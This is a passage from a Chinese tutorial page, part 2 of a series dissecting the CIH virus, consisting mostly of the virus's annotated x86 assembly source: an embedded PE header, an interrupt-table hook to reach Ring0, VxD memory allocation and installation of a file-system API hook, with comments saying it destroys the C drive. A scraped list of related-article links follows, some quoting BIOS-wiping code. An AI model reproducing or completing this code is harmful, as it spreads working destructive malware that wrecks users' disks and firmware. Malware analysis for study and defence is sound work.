病毒程序源码实例剖析-CIH病毒[2]

OriginalAppEXE SEGMENT

;PE格式可执行文件文件头

FileHeader:

db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h

db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h

db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h

db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh

db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h

db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h

db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh

db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh

db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h

db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah

db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h

db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h

db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h

db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h

db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h

db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h

db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h

db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h

db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h

db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h

db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h

db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

dd 00000000h, VirusSize

OriginalAppEXE ENDS

; 病毒程序开始

TRUE = 1

FALSE = 0

DEBUG = FALSE

;标识其版本号为1.4版

MajorVirusVersion = 1 ;主版本号

MinorVirusVersion = 4 ;次版本号

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion ;合成版本号

IF DEBUG ;是否调试

FirstKillHardDiskNumber = 81h ;破坏D盘

HookExceptionNumber = 05h ;使用5号中断

ELSE

FirstKillHardDiskNumber = 80h ;破坏C盘

HookxceptionNumber = 03h ;使用3号中断

ENDIF

FileNameBufferSize = 7fh

;病毒代码段开始

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame

ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

MyVirusStart:

push ebp

;修改系统异常处理,避免产生错误提示信息

lea eax, [esp-04h*2]

xor ebx, ebx

xchg eax, fs:[ebx]

call @0

@0:

pop ebx ;获取程序起始偏移量,用此偏移量+相对偏移量获得绝对地址

lea ecx, StopToRunVirusCode-@0[ebx]

push ecx

push eax

; 修改中断描述表,以获得最高Ring0级权限

push eax

sidt [esp-02h] ;获得中断描述表的基址到ebx

pop ebx ;

add ebx, HookExceptionNumber*08h+04h ;计算要用中断的基址到ebx

cli ;在修改之前先关中断

mov ebp, [ebx] ;获得异常处理的基址

mov bp, [ebx-04h] ;获得入口

lea esi, MyExceptionHook-@1[ecx]

push esi ;esi为病毒中断例程地址

mov [ebx-04h], si ;

shr esi, 16 ;修改异常

mov [ebx+02h], si ;修改中断基址使指向病毒中断例程

pop esi

;生成进入ring0级的异常

int HookExceptionNumber ;以中断的方式进入Ring0级

ReturnAddressOfEndException = $

; 合并所有病毒代码

push esi

mov esi, eax ;esi指向病毒开始处

;循环进行复制

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb ;复制病毒代码到分配好的系统内存首址

sub eax, 08h

mov esi, [eax]

or esi, esi

jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection ;复制下一段

QuitLoopOfMergeAllVirusCodeSection:

pop esi

int HookExceptionNumber

; 保存异常处理

ReadyRestoreSE:

sti ;开中断

xor ebx, ebx

jmp RestoreSE

; 当发生异常时,说明目前在Windows NT下,病毒将停止运行,直接跳转到原来程序

StopToRunVirusCode:

@1 = StopToRunVirusCode

xor ebx, ebx

mov eax, fs:[ebx]

mov esp, [eax]

RestoreSE:

pop dword ptr fs:[ebx]

pop eax

; 跳转到原来程序,正常执行

pop ebp

push 00401000h ; Push Original

OriginalAddressOfEntryPoint = $-4 ;把原程序的起始地址入栈

ret ;以子程序返回形式返回到原程序的开始处

;病毒初始化模块

MyExceptionHook:

@2 = MyExceptionHook

jz InstallMyFileSystemApiHook ;如果病毒代码已拷贝好了

;就转到安装系统钩子的程序

mov ecx, dr0 ;察看dr0是否设置过(dr0为病毒驻留标志)

jecxz AllocateSystemMemoryPage ;没有设置,则分配系统内存

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

;返回到原来的程序

ExitRing0Init:

mov [ebx-04h], bp ;

shr ebp, 16 ; Restore Exception

mov [ebx+02h], bp ;恢复原来的中断基址

iretd ;中断返回

; 分配将要使用的系统内存

AllocateSystemMemoryPage:

mov dr0, ebx ;设置病毒驻留的标志dr0

push 00000000fh ;

push ecx ;

push 0ffffffffh ;

push ecx ;调用方法ULONG EXTERN _PageAllocate(ULONG nPages,

;ULONG pType, ULONG VM, ULONG AlignMask, ULONG minPhys,

;ULONG maxPhys, ULONG *PhysAddr,ULONG flags);

push ecx ;

push ecx ;

push 000000001h ;

push 000000002h ;

int 20h ; VXD调用

_PageAllocate = $

dd 00010053h ;使用eax、ecx、edx和flags寄存器

add esp, 08h*04h ;恢复栈指针

xchg edi, eax ;edi指向分配好的系统内存首址

lea eax, MyVirusStart-@2[esi] ;eax指向病毒开始处

iretd ;退出中断

; 初始化文件系统钩子

InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook-@6[edi] ;指向文件系统钩子程序首址

push eax ;

int 20h ; Vxd调用IFSMgr_InstallFileSystemApiHook

IFSMgr_InstallFileSystemApiHook = $

dd 00400067h ;使用eax、ecx、edx和flags 寄存器

mov dr0, eax ;保存原来的文件系统钩子程序首址到dr0

pop eax ;eax等于文件系统钩子程序首址

;保存原来的IFSMgr_InstallFileSystemApiHook功能调用的入口

mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]

mov edx, [ecx] ;edx为IFSMgr_InstallFileSystemApiHook的入口

mov OldInstallFileSystemApiHook-@3[eax], edx

; 修改IFSMgr_InstallFileSystemApiHook入口

lea eax, InstallFileSystemApiHook-@3[eax]

mov [ecx], eax ;设置新的IFSMgr_InstallFileSystemApiHook功能调用的地址

;使指向InstallFileSystemApiHook

cli ;关中断

以上就是病毒程序源码实例剖析-CIH病毒[2]的内容,更多相关内容请关注PHP中文网(www.php.cn)!

本文原创发布php中文网,转载请注明出处,感谢您的尊重!

php病毒源代码,病毒程序源码实例剖析-CIH病毒[2]相关推荐

  1. 病毒程序源码实例剖析-CIH病毒[1]

    CIH病毒主要感染Windows 95/98/Me的可执行程序,发作时破坏计算机 Flash  BIOS芯片中的系统程序,导致主板损坏,同时破坏硬盘中的数据.病毒发作时,硬盘驱动器不停地旋转,病毒程序 ...

  2. 病毒程序源码实例剖析-CIH病毒[5]

    push ecx loop $ ;破坏BIOS中额外的000E0000 - 000E007F段的 ROM数据 ,共80h个字节 xor ah, ah mov [eax], al xchg ecx, e ...

  3. 病毒程序源码实例剖析-CIH病毒[4]

    push eax   ;块表大小 push edx   ;edx为病毒 代码 块表的偏移 push esi    ;缓冲区地址 ;合并的病毒代码块和病毒代码块表的总大小必须小于等于未使用的空间大小 i ...

  4. 二当家的官网微信小程序源码实例解析

    版权声明:转载请注明原创地址 https://blog.csdn.net/u013032788/article/details/54376774 二当家的官网微信小程序源码实例解析,微信小程序开发教程 ...

  5. Python-LBM(格子玻尔兹曼)程序源码实例分析—圆柱绕流篇

    初次学习LBM计算方法,找到一个比较优秀的用python语言编写的圆柱绕流的实例,对每段代码详细添加了注释,帮助自己总结,也为初学的朋友们提供一点帮助(全部代码在文章最后). 先放一张结果图像: 1. ...

  6. DIY制作属于自己的数字示波器(原理图、程序源码、使用说明等)

    前言:        最近一直在玩STM32和LCD屏,从字符到TFT,从1.8到3.5寸,挨个都摸了个摸,公司产品出来了,可一直想用这些东东来作点什么.示波器上班用公司的,虽说也是便携的,但也不好带 ...

  7. 【程序源代码】脱单盲盒交友盲盒 小程序源码

    " 关键字:  "脱单盲盒 交友盲盒 小程序  " 导读: 最近很火的一元交友,大家应该不陌生吧- 月老在线牵盲盒/交友盲盒/一元交友/存取小纸条盲盒交友匹配交友趣味交友 ...

  8. 程序实现php文件上传,PHP实例:实现文件上传的程序源码_php

    以下为引用的内容: 文件上传界面 http://www.gaodaima.com/48380.htmlphp实例:实现文件上传的程序源码_php if($UploadAction){ $UploadA ...

  9. matlab exm,exm 《Experiments with MATLAB》这本书的程序源码,附中文注释,简单易懂,是学习 238万源代码下载- www.pudn.com...

    文件名称: exm下载 收藏√  [ 5  4  3  2  1 ] 开发工具: matlab 文件大小: 1154 KB 上传时间: 2014-11-21 下载次数: 6 提 供 者: 刘晏池 详细 ...

最新文章

  1. Oracle EBS R12 运行adadmin 安装中文语言包过程中意外中断后的处理
  2. CRM User Status profile中Business Transaction字段的用途 1
  3. 一首考研人不得不看的立志诗!!!!!!
  4. 如何正确清理Excel互操作对象?
  5. 【插件】IDEA中个人觉得最好的插件,附简单使用方法(持续更新)
  6. Boring data structure problem 模拟-双端队列
  7. 如何在 Windows Server 2003 中创建漫游用户配置文件
  8. vscode的背景图设置 简单版
  9. 关于SUSE linux
  10. linux下编译jrtplib和jthread,Linux下编译jrtplib和jthread(转)
  11. 织梦如何添html5播放器,织梦视频播放器,织梦cms网页播放器,dedecms视频播放器,内容管理系统(DedeCMS)的应用,网页视频播放器...
  12. UDP实时图像传输进阶篇——1080P视频传输
  13. 卸载精灵 v1.1 绿色
  14. #ACCV2022还有两周截稿#疫情过后期待相聚澳门,相邀参与亚洲视觉盛会
  15. Alibaba内部首发“M8级”微服务架构手册,GitHub上杀疯了
  16. 【时间序列】时序资料及工具汇总:模型和常见库对比
  17. 在 Android 设备上搭建 Web 服务器
  18. 信奥基本功:打字练习(盲打)
  19. 19年暑假实习,我霸面了鹅厂两次。
  20. sap事务代码如何收藏_如何使用SAP菜单收藏夹

热门文章

  1. VCC、VDD、VDDA、VSS、VSSA
  2. 京东 你访问的页面需要验证证书_硬干货!京东云域名注册及备案操作指南
  3. 【路径规划】基于节约算法实现CVRP问题
  4. 阿里云视频点播(VOD)aliplayer获取视频播放状态(播放或暂停)
  5. 【Bluetooth开发】蓝牙开发入门
  6. 关于海康威视摄像头web程序的无插件调用
  7. 关于linux字符驱动中read函数filp->f_pos 和 loff_t *ppos的关系
  8. oppoa7强制root,oppoa7强制重启
  9. 使用Photoshop制作icon图标
  10. IDC发布一季度全球智能手机出货量和市场份额报告,中国厂商被看好